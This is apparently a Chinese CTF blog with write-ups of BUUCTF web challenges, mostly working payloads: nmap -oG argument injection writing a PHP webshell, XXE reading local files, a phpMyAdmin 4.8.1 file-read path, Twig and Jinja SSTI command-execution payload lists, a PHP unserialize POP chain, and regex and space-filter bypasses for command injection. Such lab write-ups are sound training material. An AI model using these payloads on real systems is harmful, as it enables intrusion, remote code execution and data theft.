少女祈祷中...

1.nmap

考察点:namp -oG可写入文件,代码审计

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

escapeshellarg和escapeshellcmd配合漏洞

  1. 传入的参数是:172.17.0.2' -v -d a=1
  2. 经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
  3. 经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
  4. 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'

回到mail中,我们的 payload 最终在执行时变成了'-fa'\\''\( -OQueueDirectory=/tmp -X/var/www/html/test.php \)@a.com\',分割后就是-fa\(-OQueueDirectory=/tmp-X/var/www/html/test.php)@a.com',最终的参数就是这样被注入的。

namp的 -oG模式是可以写入文件的

1
?host=' -oG shell.php -- <php @eval($_POST[1]); ?>

疑问?

明明写入的代码也会被\转义,为什么能被执行呢

1
2
3
1.在 Linux 中,反斜杠(\)是转义字符,用于改变后面字符的原始意义。它告诉解释器后面的字符应该被特殊对待,而不是按照其原始含义解释。\\ 表示一个反斜杠字符。

2.就目前来看可以看到\都没有了只剩下了<?php echo `cat /flag`;?>

那一切都合理了\在linux中其实相当于无实义连接符

剑蚁链接

image-20250424225144913

[GXYCTF2019]禁止套娃

考察点1.禁止扫描时候怎么扫描?

1
2
我们输入:
python3 dirsearch.py -u http://1d4bed91-4866-4caa-8e71-97180e203256.node5.buuoj.cn:81/

返回了

1
Skipped the target due to 429 status code

看来我们得放慢扫描速度:

1
[root@localhost dirsearch]# python3 dirsearch.py -u http://1d4bed91-4866-4caa-8e71-97180e203256.node5.buuoj.cn:81/ -t 10 --delay 2

得到:

image-20250424233109520

由于没有下载githack,便去看别人的抓到的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

include "flag.php";

echo "flag在哪里呢?<br>";

if(isset($_GET['exp']))

{ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
{ //不允许使用php协议
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
{ //替换为空字符,匹配的形式是形如a();的无参数的表达式
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))
{
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

考察点2.无参数构造

1
';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])

正则表达式解析

正则模式:/[a-z,_]+$(?R)?$/

  1. [a-z,_]+
    • 匹配函数名:允许小写字母、下划线(_)和逗号(,)。
    • 注意:PHP 函数名中 不允许逗号,此处可能是题目设计的陷阱或笔误,实际应为 [a-z_]+
  2. $$
    • 匹配函数调用的括号 ()
  3. (?R)?
    • (?R) 表示 递归匹配整个正则表达式,即允许函数调用的参数部分也是一个无参数的函数调用。
    • ? 表示递归部分是可选的(允许无参数函数)。

合法输入示例

  1. 简单函数链

    1
    a();
    • 替换后结果:;(符合条件)。
  2. 嵌套函数链

    1
    a(b(c()));
    • 替换过程:
      • 匹配最内层 c() → 替换为空 → 剩余 a(b());
      • 匹配 b() → 替换为空 → 剩余 a();
      • 匹配 a() → 替换为空 → 剩余 ;
    • 最终结果:;(符合条件)。

非法输入示例

  1. 含参数或字符串

    1
    readfile('flag.php');
    • 'flag.php' 不符合正则模式 → 替换后残留 'flag.php'; → 结果不是 ;

所以要进行无参数构造

1
?exp=print_r(scandir(current(localeconv())));

返回了:

image-20250425130832375

1
print_r(scandir(dirname(getcwd())));      #不行

是因为na被禁止了

1
highlight_file(next(array_reverse(scandir(current(localeconv())))));

image-20250425130858089

思考:尝试读取上级目录

1
?exp=print_r(scandir(next(scandir(current(localeconv())))));

创造..来读取上级

但是要怎么读取上上级呢?

试过很多,最多只能把一条线的目录返回,无法返回全部的:

1
?exp=print_r(realpath(next(scandir(current(localeconv())))));

realpath:显示绝对路径,这里是显示了..的绝对路径

经过测试,无法再读取更上一级的目录了

希望以后能找到突破口

[NCTF2019]Fake XML cookbook

考察点:EZXXE

判断:

出现一个登入页面

测试sql

image-20250426115646818

测试sql注入失败

有回显,测试SSTI

image-20250426115843296

不行

抓包

发现是以XML格式传输PASSWD

image-20250426120214986

测试:
1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe "XXE-TEST">]>
<user>
<username>&xxe;</username>
<password>11</password>
</user>

有返回XXE-TEST说明可以解析外部变量

image-20250426120123431

最终exp:
1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///flag">]>
<user>
<username>&xxe;</username>
<password>11</password>
</user>

[GWCTF 2019]我有一个数据库

考察点:信息收集能力

登入页面是个火星文,经过ai翻译看来也没什么用

image-20250426165436288

信息收集一:扫描网址

image-20250426165349373

不让快速扫描?那就放慢速度:

image-20250426165519174

1
2
3
4
5
6
7
8
9
10
11
12
13
[14:31:18] 200 -    6KB - /favicon.ico
[14:33:54] 200 - 184B - /index.html
[14:34:36] 301 - 395B - /javascript -> http://59fa25cb-4ec4-4bc0-843c-26916ae4947a.node5.buuoj.cn/javascript/
[14:40:03] 200 - 86KB - /phpinfo.php
[14:40:10] 301 - 395B - /phpmyadmin -> http://59fa25cb-4ec4-4bc0-843c-26916ae4947a.node5.buuoj.cn/phpmyadmin/
[14:40:47] 200 - 75KB - /phpmyadmin/
[14:40:47] 200 - 20KB - /phpmyadmin/ChangeLog
[14:40:48] 200 - 15KB - /phpmyadmin/doc/html/index.html
[14:40:48] 200 - 75KB - /phpmyadmin/index.php
[14:40:49] 200 - 1KB - /phpmyadmin/README
[14:43:05] 200 - 36B - /robots.txt
[14:43:44] 403 - 316B - /server-status
[14:43:45] 403 - 316B - /server-status/

信息收集二:/phpmyadmin

image-20250426165856406

phpMyAdmin 是一个基于 Web 的免费开源工具,用于通过浏览器 图形化管理 MySQL/MariaDB 数据库。它允许用户无需命令行即可执行数据库操作(如创建表、导入导出数据、运行 SQL 查询等),是开发者和管理员常用的数据库管理工具。

直接输入/phpmyadmin便可打开便是一个巨大的漏洞:

1. 限制访问来源(推荐)

只允许特定 IP 或本地访问 phpMyAdmin,其他请求直接拒绝。

  • Nginx 配置示例

    1
    2
    3
    4
    5
    6
    location /phpmyadmin {
    allow 192.168.1.0/24; # 允许的内网 IP 段
    allow 127.0.0.1; # 允许本地访问
    deny all; # 拒绝其他所有 IP
    proxy_pass http://localhost:80;
    }
  • Apache 配置示例(在 .htaccess 或虚拟主机中):

    1
    2
    3
    <Directory "/usr/share/phpmyadmin">
    Require ip 192.168.1.0/24 127.0.0.1
    </Directory>

信息收集三:根据暴露的版本搜索漏洞

image-20250426170445542

发现4.8.1有严重文件读取漏洞

1
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

利用了截断来进行文件读取(这里的PHP还是7版本的,只有到了8以上才无截断攻击

image-20250426170807872

1
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag

即可得到flag

image-20250426171106912

思考:能不能RCE?

尝试日志注入:

找不到日志在哪。。。。。。。。

[BJDCTF2020]Mark loves cat

鸡毛的,完全不知道考察什么

考察点一:git扫描

githacker安装详细教程,linux添加环境变量详细教程(见标题三)-CSDN博客

1
githacker --url 靶场的URL.git --output-folder 要保存的文件名
1
githacker --url http://a5074c2b-6fde-4c82-ac9d-e31ceacafe32.node5.buuoj.cn:81/.git --output-folder file_try

搞了半天,终于可以下载了

image-20250427130526360

源码在index.php的最下面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}



echo "the flag is: ".$flag;

考察点二:php全局变量循环

1
2
3
4
5
6
7
foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

意思是,当你输入 ?flag=abc&abc=123 会被解析为:

1
2
3
4
$_GET = [
'flag' => 'abc',
'abc' => '123'
];

foreach是应该循环,会给你的输入赋值:

1
2
$flag = abc
$abc = 123

解法一:

1
?yds=flag
1
2
3
foreach($_GET as $x => $y){
$$x = $$y;
}

导致:

1
$yds=$flag

由于flag未赋值,会触发

1
2
3
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

即可输出flag

image-20250427135251207

解法二:

1
?handsome=flag&flag=abc&abc=123

同理,不过是在第三次循环时候触发:

1
2
3
4
5
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

解法三:

1
?handsome=flag&flag=handsome

同解法二,不过是第二次循环

[WUSTCTF2020]朴实无华

考察点:代码审计

输入robots.txt发现好东西:

image-20250428144033825

虽然是假的,但是抓包得到有用信息:

image-20250428144243853

访问得到真正的考点页面:

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
}else{
die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
}
}else{
die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
else
die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
die("鍘婚潪娲插惂");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
system($get_flag);
}else{
die("蹇埌闈炴床浜�");
}
}else{
die("鍘婚潪娲插惂");
}
?>

这是什么火星文?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

level 1:

没见过,只能看wp了

intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1

常见**intval绕过**

image-20250427234909926

这一题比较特殊,随便一个科学系数就可以绕过了

1
/fl4g.php?num=2e11

intval第一次会读取成 2 ,第二次会读取成 2e11 + 1

level 2:(MD5绕过)

1
2
3
4
5
6
7
8
9
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

MD5绕过大全:

1
2
1.a[]=0&b[]=0
2.a=QNKCDZO&b=s878926199a
分享一些加密为0e开头的字符串
1
2
3
4
5
6
7
8
9
QNKCDZO 0e830400451993494058024219903391 
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469
s214587387a 0e848240448830537924465865611904
s214587387a 0e848240448830537924465865611904
s878926199a 0e545993274517709034328855841020
s1091221200a 0e940624217856561557816327384675
s1885207154a 0e509367213418206700842008763514
240610708 0e462097431906509019562988736854
0x02.一次md5加密(与不加密的比较)
1
2
$a=$_GET['a'];
$a==md5($a);
1
2
3
payload:
a=0e215962017
md5(‘0e215962017’)=0e291242476940776845150308577824
0x03.两次md5加密为0e开头
1
2
3
4
5
6
7
8
9
md5(CbDLytmyGm2xQyaLNhWn)=0ec20b7c66cafbcc7d8e8481f0653d18
md5(md5(CbDLytmyGm2xQyaLNhWn))=0e3a5f2a80db371d4610b8f940d2
96af
770hQgrBOjrcqftrlaZk
md5(770hQgrBOjrcqftrlaZk)=0e689b4f703bdc753be7e27b45cb3625
md5(md5(770hQgrBOjrcqftrlaZk))=0e2756da68ef740fd8f5a5c26cc45064
7r4lGXCH2Ksu2JNT3BYM
md5(7r4lGXCH2Ksu2JNT3BYM)=0e269ab12da27d79a6626d91f34ae849
md5(md5(7r4lGXCH2Ksu2JNT3BYM))=0e48d320b2a97ab295f5c4694759889f

payload:

1
/fl4g.php?num=2e11&md5=0e215962017

只能用md5=0e215962017!!!其他的不可以!!

最终读取:

1
2
3
4
5
6
7
8
9
10
11
12
13
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
1
!strstr($get_flag," ")

不能出现空格

1
str_ireplace("cat", "wctf2020", $get_flag)

不能出现cat

多种构造(记得先ls)

1
2
3
4
5
6
head    # 读取文件前10行
tail # 读取文件后10行
nl # 显示行号
sort # “排序”文件内容(实际输出全文)
ca\t #\绕过
more #分页显示文件内容

1.使用${IFS}

1
nl${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

2.使用<

1
nl<fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

< 的作用:将文件内容作为命令的输入(无需空格分隔)。

得到:

考察点:Cookie中的SSTI + php模板注入

我们测试输入,发现确实有回显:

但是为什么后续无法注入

抓包发现:

image-20250527222649874

左边的输入在右边的cookie出现,那可能是cookie注入

测试成功,存在cookie的SSTI

image-20250527222822382

为什么老是无回显?

这tm是php,不是python!!!

先搞清模板:

1
2
3
python: jinja2 mako tornado django
php:smarty twig Blade
java:jade velocity jsp

构造:(又是无回显。。。。)

twig常用的注入payload:

1
2
3
4
5
6
7
8
9
10
11
12
{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("whoami")}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{["id"]|map("system")|join(",")
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{["id",0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0,0]|reduce("system","id")|join(",")}}
{{['cat /etc/passwd']|filter('system')}}

这一题:

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

image-20250527224543391

真奇怪,只有这个代码可以,其他的测试都不可以

可能是权限问题。

[MRCTF2020]Ezpop

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 <?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var); #第四步:入口
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>"; #第一步,并不会触发__tostring
}
public function __toString(){ #第二步
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php"; #触发__tostring
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){ #第三步
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

image-20250528001538894

最开始我的EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php

class Modifier {
protected $var = "/flag.php";
}

class Show{
public $source = "222";
public $str = "Test";
}

class Test{
public $p = "Modifier";
}

$A = new Show;
echo serialize($A);

#错误!!!!!不能是字符串,只能是新对象!

正确的EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class Modifier {
protected $var = "flag.php"; // 修复1:正确路径
}

class Show {
public $source;
public $str;
}

class Test {
public $p;
}

// 构建对象链
$modifier = new Modifier();
$test = new Test();
$test->p = $modifier; // 修复4:p是Modifier实例

$showB = new Show();
$showB->str = $test; // 修复3:str是Test实例

$showA = new Show();
$showA->source = $showB; // 修复2:source是另一个Show对象

// 处理protected属性(必须用反射设置)
$ref = new ReflectionClass($modifier);
$prop = $ref->getProperty('var');
$prop->setAccessible(true);
$prop->setValue($modifier, 'php://filter/read=convert.base64-encode/resource=flag.php');

echo serialize($showA);
?>

得到:

1
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"\00*\00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

不知道为什么没有回显:

image-20250527235344648

只能写python代码了

image-20250527235535340

(在web工具箱里)

[MRCTF2020]PYWebsite

考察点:本地绕过

image-20250528105353394

打开源码页面发现存在一个/flag.php页面

image-20250528105439391

打开发现有提醒:自己可以看见(我第一次没看见。。。。。。。还是看别人的wp我才知道的

抓包修改:

1
X-Forwarded-For: 127.0.0.1

image-20250528110238983

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

[FBCTF2019]RCEService

考察点:preg_match的绕过(正则匹配)

image-20250529003311975

上传JSON?有点奇怪。

尝试robots.txt

还真有:

1
http://a22d65c3-f844-4798-92aa-b555319f39d7.node5.buuoj.cn:81/robots.txt

image-20250529003232989

访问得到:

1
http://a22d65c3-f844-4798-92aa-b555319f39d7.node5.buuoj.cn:81/static/secretkey.txt

image-20250529003132677

目前不知道有什么用

找到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { #没有匹配多行,可以使用多行绕过
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

测试代码:

1
{"cmd":"ls"}

image-20250529004158018

但是:

1
/ '' \ * ………………被禁用

查WP:

首先我们得了解什么是正则匹配:

1
2
3
4
5
function is_php($data){  
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
#以.*分割,分别匹配:
# <? 和 [(`;?>]

正则模式为 /<\?.*[(;?>].*/is`,逐部分分析:

正则片段 含义
<\? 匹配字面量 <?(PHP 代码的短标签开头,如 <?php ... ?><? ... ?>)。
.* 匹配任意字符(包括换行符,因 s 修饰符)0 次或多次。
[(;?>]` 匹配括号内的任意一个字符:((左括号)、```(反引号)、;(分号)、?(问号)、>(右尖括号)。
.* 再次匹配任意字符(包括换行符)0 次或多次。
修饰符 i 忽略大小写(但此处 <? 无大小写变体,实际影响较小)。
修饰符 s 让点号(.)匹配换行符(\n),允许跨多行匹配。

仔细了解过程:

(沙箱保护)

1
putenv('PATH=/home/rceservice/jail');

image-20250529225557310

执行命令该变为:

1
/bin/ls

2.为什么是/bin:

image-20250529230537210

正则匹配(规则):

image-20250529232157952

image-20250529232459709

例子:

1
2
3
(preg_match('/^.*(alias|bg|eval|exec|exit|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json))

#$json是要审查的对象

image-20250529233553001

image-20250529233612241

这个  -   就是代表从哪里到那里, \ 代表防止识别为匹配的命令

[] 字符类的特殊规则

1
[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]

image-20250529234321856

不需要使用 \ 转化

特殊辅助字符:

开头结尾:

image-20250530000011702

小括号:(视为整体,而不是一个一个字符)

image-20250530000536456

贪婪量词:

image-20250530000148700

+ 和 * 的区别
正则表达式 匹配字符串 匹配结果
a* "" ✅ 匹配 0 个 a
a* a ✅ 匹配 1 个 a
a* aaa ✅ 匹配 3 个 a
a+ "" ❌ 必须至少有 1 个 a
a+ a ✅ 匹配 1 个 a
a+ aaa ✅ 匹配 3 个 a
1
2
3
*  #意思是出现空白也不行

+ #必须有才行,一般都要加+

什么是回溯:

image-20250529235319795

前面的已经帮你匹配到了,后面需要 再次匹配 ,只能回溯一个上一次匹配结果让你能匹配

正则匹配回溯漏洞:

image-20250529230747506

回溯超过太多次,就会报错。

EXP绕过方法:

法1:换行符绕过(%0A)

1
?cmd={%0A"cmd":"ls /home/rceservice"%0A}

(记得在url输入)

image-20250530001857623

由于没有 /m

image-20250530001632952

导致可以多行绕过

1
?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

image-20250530001941982

[CSCCTF 2019 Qual]FlaskLight

第一次使用fenjing

打开页面源码,发现确实提醒:

image-20250530214154771

使用fenjing一把梭:

image-20250530214228384

1
http://28a79331-973c-475d-a36c-f5ee3fca9820.node5.buuoj.cn:81/?search={{(QAQ.__eq__['__g''lobals__'].sys.modules.os.popen("ls")).read()}}"}

image-20250530214528487

根据上面那个一直在飘的那一个推测出是flasklight

1
{{(QAQ.__eq__['__g''lobals__'].sys.modules.os.popen("ls /flasklight")).read()}}"}

image-20250530214708814

直接读取得到:

1
{{(QAQ.__eq__['__g''lobals__'].sys.modules.os.popen("nl /flasklight/coomme_geeeett_youur_flek")).read()}}"}

image-20250530214318055

[GWCTF 2019]枯燥的抽奖

考察点:伪随机数种子的寻找

先了解什么是种子和伪随机数:

在 PHP 中,**mt_srand()函数使用这个种子值来设置随机数生成器的初始状态,后续调用mt_rand()生成的随机数序列就完全由这个种子值决定**。

人话:mt_rand()是由mt_srand()中的种子来生成的

1
所以:#可以通过已经知道的几个字符去反推mt_rand(),在利用php_mt_seed反推种子

[GWCTF 2019]枯燥的抽奖 - L0VEhzzz - 博客园

我们使用php_mt_seed来进行破解

生成工具所需要的数据格式

1
2
3
4
5
6
7
8
9
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='nMkpngQKaH' #这是显示在你页面上已知的部分的字符
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)

已经保存在WEB工具箱